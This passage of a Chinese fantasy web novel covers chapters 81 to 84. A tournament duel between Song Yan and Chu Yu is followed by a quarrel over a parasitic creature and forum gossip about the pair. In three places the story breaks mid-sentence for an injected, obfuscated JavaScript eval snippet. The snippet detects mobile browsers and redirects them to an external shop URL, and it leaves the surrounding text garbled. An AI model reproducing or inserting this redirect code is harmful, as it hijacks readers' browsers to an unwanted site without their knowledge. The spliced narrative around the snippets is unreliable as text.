宋言夹在两人中间,忽然觉得自己有些亮。系统撺掇她:“看,沈溯来了。” 宋言:“我没忘记这事,不过你得先告诉我,你到底是想要他身上的什么东西?” 宋言还没听到系统的答案,已经有人来催她入场。 内部赛采用淘汰赛制,两两随机分组,胜者进入下一轮比赛。外围会开一些关于内部赛的赌局,今年格外热闹。 是以比赛正式开场时,底下因为方可短暂安静的人群里,再次响起了沸腾的人声。 来催促宋言的是一个白衬衫西裤的男人,他身后还跟着一个圆脸圆眼的小姑娘,也是这次入职的新人。 宋言起身,打算跟着他入场时,肩头被轻轻拍了一下。 她侧过脸,身后轮廓冷硬的女人低声,很迅速地说了一句:“量力而为,不可勉强。” 宋言看着她,点了点头。 ...... 相比观众席,等候区安静很多。 那个和宋言一起过来的圆脸女孩相当自来熟,等白衬衫走后,便拉着她道:“诶,我叫苏妮,你叫什么呀?” 宋言心中浮起一丝恶趣味,如实报出自己名字。 苏妮大惊:“你......你就是那个......” 她后半段声音陡然压低,仿佛在说什么军事机密:“诶,你就是那个传得沸沸扬扬的......关系户?” 宋言笑了,没说话,她自顾自说起来:“她们传得好离谱,说你是谁谁的妹妹侄女什么的,还有更离谱的,说你......” 宋言:“说我什么?” 苏妮沉默片刻,羞赧道:“说你是方队长的外室。” 宋言:“......” 望着苏妮涨红的脸,她忽然道:“你这么告诉我,不怕我记仇吗?” “这有什么好记仇的,难道你不是吗?”苏妮骄傲地一拍胸脯,“我就是买进来的啊,我家里为了这个可花了不少钱呢!” “不过她们传得也太离谱了,什么外室私生女的,我不信,要我有那身份,早抱着金主大腿连内部赛都不参加了。”她补充道。 苏妮又从口袋里翻出一个小瓷瓶,倒出几粒棕色的药丸,一口吞下,再把剩下的递给宋言。 宋言眼中一动:“兴奋剂?比赛允许吃这个吗?” 苏妮摆了摆手:“哪能啊,我就算吃了兴奋剂也是挨打的份。这是回春丹,吃了保你不残的。” 她递给宋言一个一起嗑.药的眼神,又从兜里翻出一个褐色的玻璃瓶和一颗绿色的药丸:“我家里怕我出事,特意给我准备的,吃了这个、这个和这个,就算被打到七窍流血,修养几个月又是一条好汉!” 81. 帝都(六) 081 * 宋言沉默地看着她咽下那颗药丸和一罐子褐色的液体,犹豫道:“药不该是受伤之后吃吗?” 而且......一次吃这么多真的不会有问题吗? “药被吸收进入五脏六腑本来就需要时间。”苏妮脸上露出自豪的神色,“况且,我有信心,要是抽到我,不到一刻钟我就会落败,到时候药正好生效。” 她一拍手掌:“完美!想出这个办法,我真是个天才!” 宋言:“......是挺天才的。” “是吧是吧!”苏妮神色兴奋,还没忘了宋言,很大方地分了她一瓶药:“你也吃几粒,我听说这次内部赛有个天榜第三,叫什么楚瑜,嘶,希望我不要撞到他,听说那人打架风格特别血腥,在军校读书的时候就因为这个被记了好几次过。” “不过,这次内部赛最大的看点还不是他。”苏妮神秘兮兮道,“我听说沈家那位小公子最近一直在军部,这么大的赛事,他能不来?说不定现在就在观众席坐着呢。” 宋言:“......”确实,还就坐在她旁边。 见宋言沉默,苏妮觉得她是被这个消息震惊了,低声分享情报:“沈家小公子,沈溯,帝国议会长的亲侄,他这个时间来军部......确实太巧了。” 宋言心中一动:“怎么个巧法?” 苏妮小声道:“我听说,议会长那边打算出一个新提案,但是很多议员不同意......我们沈议会长是个多铁血的人,当初连陛下都......就算不提这茬,那些议员也讨不到好去。” “所以,沈溯这个时候来军部,很大可能,就是替他舅舅传话的。” 宋言盯着苏妮圆溜溜的眼睛,心中闪过一丝犹疑:“你听说得还挺多?” 苏妮吐吐舌头,不好意思道:“哎呀,人活着不就这点乐趣,听听八卦,讲讲别人八卦,总归没有妨碍到谁。” 她又道:“我给你的药,你不吃吗?” 宋言本想搪塞过去,就在这时,台上喊了她的名字,她的比赛信息出现在大屏幕上。 宋言抬头看了一眼,便把药塞进口袋里,打算直接过去比赛。 苏妮见状也不再说话,只好奇道:“你匹配到谁啦?” 宋言喝了口水,朝比赛台走去,听到背后的声音,才回头,嘴角微微翘起:“是楚瑜。” “哦,是他呀,没事没事,至少不是天榜那个谁......”苏妮松了口气,须臾,才反应过来,顿时瞪大了眼睛,“等等,你说是谁?楚楚楚楚、瑜???” 另一边。 楚瑜很干脆地脱掉上衣,上半身肌肉线条流畅,一看就不是磕蛋白粉磕出来的。 楚北倾不自觉移开眼:“好好穿衣服,有伤风化。” 楚瑜努了努嘴,遗憾地套了件外套:“我的男菩萨舅舅,你这样古板,没有女人会喜欢你的。” 楚北倾转回眼:“别贫嘴,要不是你妈求我,我不会把你带在身边。我才知道,你上个学期在军校,竟然记了三次过?” 楚瑜挺直胸膛道:“这又不是我的错!第一次是有人欺负我兄弟,第二次是路见不平拔刀相助,第三次......” 楚北倾面色无波无澜,替他回想:“第三次是你因为学校女生和同班同学争风吃醋,最后大打出手,人家被你打进了医务室。” “是那个狗杂种先骚扰她的!”楚瑜气愤道,“我只是见不得人受苦!” 楚北倾看了看表,点头:“对,你只是见不得人受苦,然后你妈为了不让你被退学,给人家登门道歉道了半个月。” 楚瑜讷讷无言,似乎还想再辩解点什么,楚北倾已经结束了话题:“该你上场了,去吧,别把场面弄得太难看,我不希望有人说你是超雄。” “哦。”楚瑜乖乖点头,看了眼屏幕,问道:“那个宋言......需要我手下留情吗?我看你们军部,家里大伯二舅,各个祖宗往上追溯,都和议会那群天龙人有一腿。” “不管对方是谁,你都要讲礼貌......等等,姓宋?”楚北倾眼眸一沉,似乎想起了很遥远的事情,沉声道“那还是别讲礼貌了,比赛第一,友谊第二。” 楚瑜眼睛一亮,捧着自家老舅的话当圣旨:“好嘞舅舅,我一定给你漂漂亮亮地赢!” 擂台有三米高,宋言沿着台阶上去的时候,总担心台阶会碎。 但从结果来看,军部还没穷到这个地步,连内部工程都要弄虚作假。 楚瑜和面前的女孩对视了三秒,笑道:“你认输吧,我家里人要我赢得好看点,我又不喜欢打女人。” 宋言身上没有大块的肌肉,穿上衣服,看起来有些孱弱。 楚瑜打量了她一阵,又道:“你长得挺好看的,脸上有伤就太可惜了。” 宋言的回答是脱下外套。 外套下面是长袖,小金被姜夜白教训一顿后又回到她身上,大部分时间在睡觉,宋言觉得,这种事情还是不要让别人看到比较好。 楚瑜听到拉链解开,衣料悉悉索索的声音,忍不住吹了声口哨。 这口哨短而急促,因为很快,宋言就整理好衣服,点头道:“请指教。” 楚瑜心头那点好感顿时消失,他无所谓地笑一声:“别指教不指教的,老子最讨厌打架还磨磨唧唧,虽然你长得还过得去,我也不会因为这个让着你。” 几乎是在他声音落下的瞬间,宋言感觉一股劲风迎面袭来。 她抬眼,只看到一片错落残影。 耳侧擦过一抹灼烧的疼痛,大脑还没反应过来,身体已经被掼到擂台防护带上。 宋言脸侧火辣辣的,应该是肿了一块。 系统道:“他太快了,你要做的是让自己比他更快,或者,让对方慢下来。” 宋言微不可觉地点头。 她抬起手臂,桎梏住面前的青年,微微偏头,台下后排的观众几乎都站了起来,他们想看一方把另一方狠狠踩在脚底,或者两个人都鲜血淋漓。 内部赛的新人不懂海面下的暗潮汹涌,往往只有一个目标:我要赢。这比点到为止的高手对决好看得多。 更前面的位置,方可脸上没有多余的表情,只像寻常观众一般看向擂台中心,她身旁,身穿白大褂的女人已经戴上金丝眼镜,神情整肃。 而沈溯......他似乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12951399|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对台上两人并无兴趣,他目光更远些,直直越过擂台,落到了楚瑜的舅舅,楚北倾身上。 宋言收回目光,听到耳边哼笑一声,“打架要专心,你这样......很容易被我......” 下一秒,楚瑜以近乎诡谲的手法挣脱了她的禁锢,雷般的拳风落下,直取宋言面门。 宋言来不及躲闪,只好侧过身,胸口硬接了这一拳,轰鸣声在脑中炸响,喉咙瞬间漫上一股血腥气,她擦了擦唇角,手背顿时多了一抹红。 楚瑜慢慢说完后半句:“......很容易被我打成残废的。” 鲜红色的液体从宋言衣服底下透出来,她感觉楚瑜那一拳,带着毁天灭地般的力道,仿佛要把她五脏六腑搅碎,她胸口传来隐隐的钝痛,血肉支离破碎,每一次呼吸都如酷刑一般。 天赋-[战争之匣]。 楚瑜额头浮上一层薄薄的汗,笑道:“现在认输还来得及,我答应了家里人漂漂亮亮地赢......那么至少我今天不希望死人。” 宋言用一记响亮的拳头回答了他。 楚瑜侧身躲过,脸上不见恼怒,倒有几分好笑:“太慢了,你这样,连我的皮都擦不破。” 宋言的脸染上血,平白多出几分残酷的美感,楚瑜低头看她,就像看路边倔强的流浪猫。 明明自己只有一丁点大,还要支愣起浑身脏兮兮的毛发,以为自己能吓退强大的敌人。 可是再纯熟的格斗技巧,在武力压制面前都全无作用。 几滴血从宋言衣角滴落,没有人注意到,它们不再是红色,而是纯然的黑。 黑得透不进光,像望不到底的深渊。 楚瑜再次挥拳,拳风快如闪电。他胳膊上的肌肉充血、鼓起,这一拳几乎带了十成十的力量,如铁锤如风暴,手背青筋暴起,甚至泛着隐隐的紫色。 宋言抬手架住,预想中的强烈撞击感却没有到来,她甚至不太能感知到疼痛。 她手背上的皮肉一寸寸皲裂,掉下,流出的不是血,而是黑色的液体,诡异、粘腻。 那层液体在她手背迅速成膜,燃起黑红色的火焰,冲楚瑜咆哮而去,他手背顿时焦黑一片。 宋言鼻尖闻到一丝蛋白质被烤熟的香味,火焰从她胸口燃起,一直覆盖到双手,她感觉不到痛,但也明白,这种情况下,烤熟的肯定不是她。 她嘴角微微翘起。 楚瑜缓缓后退,眉宇间隐隐浮现一丝阴戾之色,看着宋言在火中燃烧的面容,他突然有几分烦躁。 然而他很快就发现,自己烦躁得太早了。 擂台上,以宋言为圆心,无声荡开一层浩瀚磅礴的气涟。 楚瑜似有所觉,微微抬头,雪片纷飞。一片鹅毛似的雪落在他眼睫,他眨了眨眼,雪化成水,淌在他脸上,触感冰凉。 九月暑气未消,宋言却在眨眼间构建出一片冰天雪地。 而她本人站在一片烈火中,脚下黑焰燃烧,热气逼人。 整个场馆内,便是这样一幅冰火交织、火寒齐下的奇景。前排的人接住一片雪,顿时被冻得一哆嗦,寒意沁入骨髓,仿佛并不出自人间,而是来自地下最深处的幽冥地狱。 82. 帝都(七) 082 * 地下一层很久没有出现过这种奇景。 比赛开始前,鱼贯而入的人群就填满了整个场馆;而比赛中途,不只是后排,连前排的观众都站起来,目不转睛地盯着风暴中心的两个人。 只要选手都进入擂台,比赛就默认开始。但比赛结束却要一方失去行动能力或主动认输。 或者裁判介入,强行终止。 裁判盯着台上越发暴虐的风雪,迟迟没有动作,一般来说,这种情况为了避免伤亡,比赛应该立即停止。 但今天显然不是一般情况。 裁判迟疑地望向在场唯二有决定权的人,一头是方可,一头是楚北倾。 两人分别坐在东西两端,中间隔着的不是座位,而是立场,老牌势力和新兴贵族隔着一排排座位遥遥相望,中间是化解不开的利益冲突。 然而没有人愿意退步。 楚北倾望着台上,神情平静,缓缓开口:“赛况难以控制,应该终止比赛。” 一方已经发话,裁判如蒙大赦,条件反射般望向另一边,只要方可和这位右帅意见一致,这场比赛很快就能结束。 毕竟方可背后是林凛,而林家和沈家总是站在一边。林凛不在,方可就是她的代言人。 裁判也不想闹出命案,这只是一场内部赛而已,没必要真的见血。 方可望着台上,从宋言被压在防护带上揍,到她反客为主,将楚瑜囚禁在自己的领域中时,神色一直没有变化。 她抬起眼,目光与另一端,穿着整肃军装的男人短暂交错,凝声道:“对两位选手来说,这是一个相互指教学习的好机会,比赛没必要终止。” 楚北倾皱眉道:“方可,你这是草菅人命。林凛不会希望看到你这样的。” 方可嘴角翘起,眼中却毫无笑意:“楚上将,我家将军喜欢什么、讨厌什么,恐怕我比你更清楚。倒是您,这么急着结束比赛,是怕您家耀祖,伤着皮肉吗?” 她冷笑一声,道:“我草菅人命,你包庇姻亲,你有什么资格说我?真这么心疼您家侄子,早点送回家喂奶吧。” 楚北倾眉头越皱越深,几乎要拧成川字,无形的硝烟在两人间弥漫,只要一点火星,爆炸一触即发。 场内寒气逼人,离擂台最近的两人倒是一个比一个火气大。 最后沈溯出来解围:“算了算了,一个比赛而已,两位犯不着这么大气性。” “再说,楚帅和方队长都是栋梁之材,内讧,岂不是便宜了外敌去?”沈溯笑得很真诚,徐徐道,“依两位的本事,即使台上出了什么差错,也应该没什么大问题。” 他看向台上,微微眯起眼:“在下也很好奇,这场比赛谁会赢呢。” 沈家小公子已经发话,还站在方可那边,裁判很快做出决定。 比赛仍在继续。 楚瑜身上的背心一寸寸裂开,肌肉膨胀,远远望去,像一座小山。 纯力量系的天赋并不吃香,但楚瑜能打到天榜第三,确实有他的过人之处。 背心终于撑不住楚瑜迅速膨胀的肌肉,“撕拉”一声响,布料落地的声音轻不可闻,黑雾蛇般缠绕上他身躯,转瞬便向宋言袭来! 而楚瑜的速度也相当快。 宋言知道自己不能和他比速度,乌龟跑不过兔子,但乌龟可以咬断兔子的腿。 她面无表情地抬手,雪片顿时凝结成无数根冰针,细如牛毛,铺天盖地射向楚瑜。 青年的速度明显被拖慢,但锋锐的冰针只在他身上留下一圈红痕,无法刺破坚硬的皮肉,纷纷落地。 楚瑜转瞬来到宋言身前,地面微微颤动,眼看一座大山就要压下。 然而下一秒,宋言在原地消失了。 黑色的火焰一闪而逝,在擂台另一角点燃,火中,缓缓出现一张无波无澜的面容。 前三日,宋言在天赋塔中,每往上爬一层,被打败的怪物体内都会飘出一团黑色的火焰,融入她胸膛。 她起初以为这是塔的馈赠,但这团火焰只在她体内燃烧,稍微在她指尖点燃,不一会儿就会熄火。 所以她爬塔时,倚仗的只有自己手中的刀。 但此时,面前是强大的对手,身后是退无可退的防护带,她一瞬间明白了火焰的用法。 那不是武器,是灵魂深处的火焰。当她开始燃烧,世界便化为灰烬。 宋言先前硬生生接了楚瑜一拳,但她此时已经感受不到身上的疼痛,她隔着冰与火,遥遥与楚瑜相望,心头忽然浮起一个巧妙的主意。 行动快于大脑,她微微抬手,成千上万根冰针再次飞向对面的大块头,楚瑜笑了一声,声带像被沙砾磨过一般:“还来?这对我没用!” 楚瑜挺起胸膛,打算硬接这阵冰雨,然而预想中酥酥麻麻的痛感没有到来。 那些冰针在空中拐了个弯,直直刺入楚瑜双眼! 楚瑜慌忙闭上眼,然而已经有一部分冰针扎入眼球,他低声呼痛,忍不住用手抵挡,后颈却抵上一阵冰凉。 那是一把冰铸成的利刃。 极薄,极利。楚瑜毫不怀疑,再刺入一点,抵着的就是动脉。 他耳侧响起一道含笑的声音。 女人低笑一声,道:“现在该我问你了,认输吧,我不想见血,也不喜欢打男人。” 楚瑜挺起的胸膛顿时缩了起来。 他不说话,宋言打算直接把他交给裁判,到这个地步,比赛已经没有继续的必要。 然而就在此时,那团诡异的黑雾再次出现,粘腻阴冷,毒蛇般缠上宋言躯体,宋言动作有一瞬凝滞,楚瑜反身便挣脱了她的挟制。 他捂着脖子咳嗽道:“你竟然......咳咳......用暗器!你下流!” 宋言看着他道:“对,我还卑鄙、无耻。” 楚瑜顿时瞪大了眼睛:“你......你......算了,我们继续打!” 宋言却没有动作,她平静道:“可是你已经输了,我刚才可以杀了你。” 楚瑜赤裸着半身,流畅的人鱼线顺着腰腹收入裤身,时间太长,充血的肌肉恢复成正常状态,他现在看起来没有那么可怕,反而格外漂亮。 他露出一颗虎牙,笑道:“那是刚才,我现在不在你手里了,我承认我看轻了你,我们重新来过。” 宋言哦了一声,然后道:“可是我不想再打一场。” 楚瑜往后退半步,神情有些认真:“但我今天一定要赢的,所以......” 他这半步没能退成功。 几根菌丝积雪里潜伏良久,在他动作的瞬间,迅速攀附上楚瑜双腿,向后一扯,男人应声倒地。 而在台下的观众眼里,楚瑜只是滑了一跤而已。 楚北倾紧皱的眉头一直没有放下,隐隐有越皱越紧的趋势,方可好心道:“看来楚上将的侄子腿脚有些不好,小孩子嘛,该多吃点补补身子,楚上将家总不会连买营养品的钱都没有吧?” 这话就是赤裸裸的挑衅了。 楚北倾少时家贫,被送去林家当家仆,每个月还能给家里补贴点。 说是送,和卖也没区别了,大家族常常采买十几岁的少年在园子里做事,少年手脚麻利还好调教,但一般只要身体健康到一定年纪的,而楚北倾被送去林家园子的时候,时年八岁,瘦骨嶙峋,看着像只病猴。 这样的孩子林家当然不要,但楚父送过来,也不要工钱,只求混口饭吃,管家心善,一来二去,也就同意了。 谁也没想到他后来会被林家大小姐一眼挑中,从此麻雀飞上枝头,咸鱼翻了身。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12971253|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然也有人诟病,山鸡上了树还是山鸡,但这话是断然不敢在楚北倾面前提的。贫穷仿佛他胎里带来的疮疤,摆不脱、逃不掉,谁提就是对这位军部上将明晃晃的羞辱。 但这个羞辱他的人是方可。而方可的背后,是军部的定海神针,那位对他有提携知遇之恩的林家大小姐。 楚北倾转头看了方可一眼,隐隐有威胁之意。 但也仅仅是威胁了。 台上已经打得很好笑,台下两位不同派系的代表再斗起来,就真的只是笑话了。 楚北倾收回自己的目光。 台上。 楚瑜被密密麻麻的菌丝牢牢束缚在冰雪里,细细白白的菌丝和雪混在一起,看不出孰是孰非。 悉索的步音落在他耳畔,楚瑜眼睁睁看着宋言走来,不可置信道:“怎么可能......我的黑雾,你不可能这么快就摆脱它!” 他在宋言走近的一瞬没了响,他看见宋言脖颈上、手臂上、腰腹上,处处爬出粗壮的菌丝,菌丝上是一颗一颗的白色颗粒,仔细看,那些颗粒竟然还在蠕动! 楚瑜睁大眼睛,才发现那不是什么颗粒,而是菌丝上附着的吸盘,在一起一伏地缓慢张合,蚕食宋言身上的黑雾。 黑雾就像被强行绑架的人质,一点一点,极不情愿地被菌丝吸入腹中。 楚瑜大惊,没看见还好,一旦看见,他便感觉自己浑身上下都爬满了吸盘,在一起一伏吸他的精气。 也不明白他身上有什么可吸的。 系统语气有些疑惑:“咦,他身上有黑雾?” 它解释道:“黑雾,你还记得吗?你当初在童话镇遇到过,这东西藏头露尾,只敢寄生在肉身强悍的畸变种身上,二者算是共生关系......” 系统匪夷所思:“移植?改造?嘶......你们人类总是能干出我难以理解的事情。” 将畸变种的一部分或者整个移植到人体,从而获得和天赋类似的某种能力,这是[异能改造]最开始的研究方向,后来被沈桉废止,说是废止,但看现在的情况,只是移到了水下。 没有人不渴望更强,就像人一开始只是想吃饱穿暖,慢慢地,就会想要美妻娇儿,家业繁盛......最后渴望所有人都匍匐在他脚下,他就是这个世界的王。 台下,楚北倾在楚瑜跌倒的那一刻,就喊了停止比赛。 他目如寒星,语气淡淡的:“楚瑜已经输了,让他下来。” 裁判感觉身遭升起一股寒意,立即点头,自觉方可那一方对这个结果也不会有意见,三步并两步跑上台,拦在宋言面前。 他到来的一刻,宋言身上的菌丝瞬间收拢,楚瑜身遭一松,终于从地上爬起来,瞪视宋言道:“我的......还给我!” 那些黑雾是他好不容易托关系买来的,一直养在身边,最开始是当武器防身,他这样的近战,身边总得有点防护措施,后来楚瑜发现军校那帮人都是群酒囊饭袋,这点黑雾也就养成了宠物。 这还是它第一次在比赛时履行武器的职责。 但楚瑜甚至不敢大声喊出它的名字,本就来路不正,楚瑜知道,如果这事传到他那个好舅舅耳朵里,一定吃不了兜着走! 宋言吃准了这点,只是微笑看他:“楚小少爷丢了什么东西吗?” 楚瑜脸色越涨越红:“你......你明明知道我在说什么!你是要钱吗?或者要我道歉也行,总之你必须还给我!” 宋言摇摇头:“楚小少爷,你好像搞错了一点,你现在是在求我,没有人求人像是在逼人的。” 裁判夹在两人中间,左右为难:“这......比赛已经结束了,要不你们台下解决?” 宋言点头:“我和他没什么可解决的,他只是输给我而已。” 83. 帝都(八) 083 * 宋言回到家的时候,家里已经没人了。 内部赛后,这些外勤组的新人被允许休息几天,来调整身体适应新工作。 算是带薪养伤,打完比赛后,这批新人身上总会添些青青紫紫的伤,至于能不能养过来,看个人造化。 外勤组不养废物,这都捱不过来,趁早收拾包裹滚蛋。 宋言袖子拱起一块,一条长长的金色小龙爬出来,探头探脑,最后朝冰箱爬去。 宋言跟着它,打开冰箱,里面已经被填满了,最上一层是蔬菜和肉类,中间一层是被打包分好的熟食,最下一层是牛奶、汽水还有几扎啤酒。 内层贴了张便利贴,宋言撕下来看。 [有急事,出门几天,自己做饭记得按菜谱来,别把厨房烧了。] [附:那条蜥蜴你看管几天,不听话就打。] 下面是一串很花哨的签名,宋言看不太懂,但能猜到字条的主人是谁。 系统吹了声口哨:“豁,田螺姑娘走了。” 宋言看完字条,又贴了回去,从底下一层捡出瓶牛奶,在沙发上慢慢喝起来。 她胸口的伤没好全,比赛后一直隐隐作痛,菌丝在胸口打了个窝,虽然疼痛消失得很慢,总比没有好。 手机亮起,跳出一条短信,是军部内网的通讯。 宋言低头去看。 “楚瑜申请添加您为好友。” 宋言在军部建了档,也就自动被划为军部内网成员,内网比较实用的功能有两个,一个是畸变种百科,一个是添加好友。 不过职员们最爱用的还是论坛。 楚瑜的头像是一只金毛狮子,宋言点了通过。 对面很快发来消息。 [楚瑜:五十万,赎金。明天我要见到它。] 宋言想了想,问系统:“那东西你吃了吗?” 系统:“准确地说,吃了一半,剩下的没什么营养,菌丝都不愿意吃。” 宋言了然,把手机丢到一边,先去洗了个澡,擦干发梢的水珠后,才解开手机锁屏。 小金被她单独洗了一遍,此时也湿淋淋的,头上蒙着块浴巾,好奇地望着亮起的屏幕。 宋言洗澡这段时间,对面发来很多条消息。 18:21 [楚瑜:你在挑战我的底线。] 18:30 [楚瑜:八十万,不能再多了,把它还给我!] [楚瑜:还给我好不好......菩萨姐姐,它对我来说真的很重要!] 18:45 [楚瑜:你为什么不回我。] [楚瑜:你这个狠心的女人!你没有一点心吗?我的黑雾还是个宝宝!] [楚瑜:......求你了,还给我好不好。] 宋言快速浏览完,不解道:“养畸变种还能影响智商吗?” 系统道:“本来是不会的,但是黑雾属于精神类畸变种,通过寄生在别的生物身上生存,对被寄生者会有一些精神上的影响。” “而这只畸变种......被人为干预过,难以通过精神操控影响宿主,所以为了生存,它进化出了另一个办法。” “就是通过不断分泌催产素和内啡肽,让被寄生者对它产生依赖的情绪,一旦失去它,情绪就会不稳定。” 宋言想了想,在对话框输入文字。 [宋言:刚有事,没看见。] 对面秒回。 [楚瑜:没事没事,菩萨姐姐,你愿意回我消息就已经很好了!] [楚瑜:菩萨姐姐,你就把它还给我吧!你拿着它又没什么用!] 新消息的滴滴声一声接一声响起。 宋言慢吞吞地打字。 [宋言:首先,我叫宋言,不叫菩萨。] [宋言:其次,那东西,看你表现。] ......看他表现? 楚瑜躺在自己的房间里,手机丢在一边,他神情放空,望着天花板,心脏一抽一抽地痛 该死,那个女人抢走他的宠物后,他就觉得比被阉了还难受,眼睛放晴,心里却在为它流眼泪。 最开始从二道贩子手里买下它,确实存了为军校联赛做准备的心思,但他正式比赛时,发现对手都是群废物,小家伙又实在可怜弱小,他就没舍得用。 后来越养越熟,楚瑜更是一刻也离不开它,他以前还对喜欢猫猫狗狗的小女生嗤之以鼻,现在喂它吃饭都夹着嗓子。 楚瑜又捧起手机,对面只发来两条消息,他翻来覆去地琢磨这两句话......什么都没琢磨出来。 有道是,遇事不决,问万能的论坛。 楚瑜截了屏,发在内部论坛里,编辑的标题是“她发给我这个,什么意思?” 帖子下很快有人回复。 [1L:一看楼主就是牡丹,女孩儿的手都没摸过吧,这很典型啊,你进入考察期了,人家要看你表现来决定你能不能转正。] [2L:对面语气好dom啊,感觉很难搞,楼主三思。] [3L:dom怎么了?你对女dom有什么意见吗?] ...... 楚瑜一层层看下来,有些明白了。敢情那个可恶的女人打算用他的锤锤吊着他,直到他给出她满意的金额。 锤锤是他给黑雾起的小名,因为他逗它玩的时候,黑雾总是喜欢变成一把黑色的小锤子。 可是他能不被她吊着吗?楚瑜想了想,好像不能。 孩子还在她手上。 楚瑜又在对话框里编辑文字,门外传来几道极有节奏的敲门声。 “楚瑜,你又在搞什么,吃饭了。” “好好好,舅舅,我马上就好!”楚瑜慌乱地按下发送键,丢下手机,踩着拖鞋就打开了门。 在他忙着应付楚北倾,无暇他顾的时间里,刚才那篇帖子已经盖起了高楼。 [34L:咦,楼主发上来的截屏好像没有把两个人的头像截掉......一个是金毛狮子,一个头像是系统默认的“宋”。] [35L:楼上发现了华点,这谁啊,情感贴不打码不就是想隔空表白吗?怎么,网友是你们play的一环啊。] ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12982212|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' [47L:......破案了,那个狮子头像我朋友列表里有,是今天内部赛那个身材特别好的小哥,那个宋......不会是方队收的,今天打败了他的那个新人吧。] [48L:啊,内部赛我没去看,有图吗,我说那个小哥的,最好□□。] [49L:链接.jpg.不谢。] ...... 楼层越盖越高。 [74L:靠,这么说,这是一出因赛生情,小哥对打败自己的人一见钟情,展开疯狂攻势?] [75L:笑死,谁攻谁还不一定呢,我们方队手下这位新人可辣得很,你没看内网视频啊?小哥被锤在地上打。] [76L:草,我看了那个视频!姐姐好辣好S我好喜欢!!姐姐真的只收男sub不收女sub嘛??流泪猫猫头.jpg.] ...... [98L:我说楼上几个,你们够了啊!这个帖子已经被你们顶得标红了!好歹说话收敛一点啊,不要把管理员招来了!] 空旷的客厅内,只坐着两个人,却摆了一桌子菜。 楚瑜偏过头打了个喷嚏,重新下筷时还要看一眼对面人的眼色,他觉得此时的情景,莫名和小时候考差了和他妈同桌吃饭时重叠。 当然,他现在还不知道,自己在论坛的传闻里已经变成了舔狗男M。 楚北倾夹了一筷子肉到楚瑜碗里,楚瑜顿时受宠若惊,慌忙道:“舅舅您吃!您不用管我的!” 楚北倾冷冷扫他一眼,楚瑜后半截话硬生生噎回去,讷讷地低下头,慢慢吃起碗里的菜。 须臾,楚北倾慢条斯理道:“方可和我说,你腿脚不好,容易脚滑,让我给你多补补营养。” 楚瑜顿时抬起头:“她乱讲!小爷我年方二八,正青春,怎么可能腿不好?” 楚北倾支颐看他:“那你告诉我,你为什么会跌倒,还一倒下就爬不起来。” 旁人离得远,台上两人又挨得太近,看不清当时具体发生了什么,只道是楚瑜自己脚滑。但楚北倾再了解自己这个侄子不过,就算有人把他踩在脚下,他都要冲那人吐两口唾沫再死,怎么可能束手就擒? 楚北倾定定地看着他,目光凛冽。 楚瑜转了转眼珠,一股恶意从心间升起,如果他把宋言身上那些诡异的菌丝告诉舅舅,她一定吃不了兜着走!连方可都保不下一个随时可能畸变的队员! 但是......锤锤还在她手里。 楚瑜觉得腮帮子有些酸,可恶,这种孩子在对方手里,自己只能听之任之,还要帮对方遮掩的感觉太憋屈了,他只好垂下眼睛,不情不愿道:“我......我当时走神了。” 楚北倾嘴边浮起一个笑,是冷笑:“走神?你怎么不说你那时候在睡觉呢?” 楚瑜讷讷道:“我没想到她那么厉害......” 饭菜升腾起热气,模糊了楚瑜的眉目,他看上去像只垂耳听训的猫咪。 良久,他没有等到预想之中的训斥,对面的长辈叹了口气,最终拿起筷子:“吃饭吧,菜要冷了。” 84. 帝都(九) 084 * 傍晚时分,帝都下起了暴雨。 天幕如破了个洞,哗啦啦的雨水瀑布般倾泻下来,街上行人四处逃窜。 姜夜白进门时,一声响雷炸在他耳边,转瞬,豆大的雨点便落了下来。 里头人道:“你倒是运气好。” 闻言,姜夜白只笑了一声,也不敲门,径直进屋:“我运气一直不错,青木叔不是早就知道吗?” 青年姿容丰雅,一张脸与其说是俊俏,不如说是美丽,室内光线昏暗,他垂着眼睛倦怠地看过来,仿若夜半幽然一现的昙花。 青木看着他的模样,怔愣一瞬,忍不住道:“你这样子,倒是越发肖似你母亲了。” 姜夜白寻了张椅子坐下,随口道:“那今年胭脂坊的‘一花一品’我得给自己报个名,说不准日后帝都第一美人的头衔,就落我头上了。” 胭脂坊是帝都有名的烟花之地,“一花一品”是胭脂坊每年都会办的盛会,品花,也品美人。 胖墩魂牵梦萦的小翠,就是“一花一品”选出来的美人。 青木皱起眉,手中茶盏“砰”地一声扣在桌子上,轻叱一声:“胡闹!” 姜夜白这才笑道:“我胡闹没关系,反正头上有您和您的手下顶着,天塌不下来。您有自己的计划,我这个不成器的,何必添乱呢?” 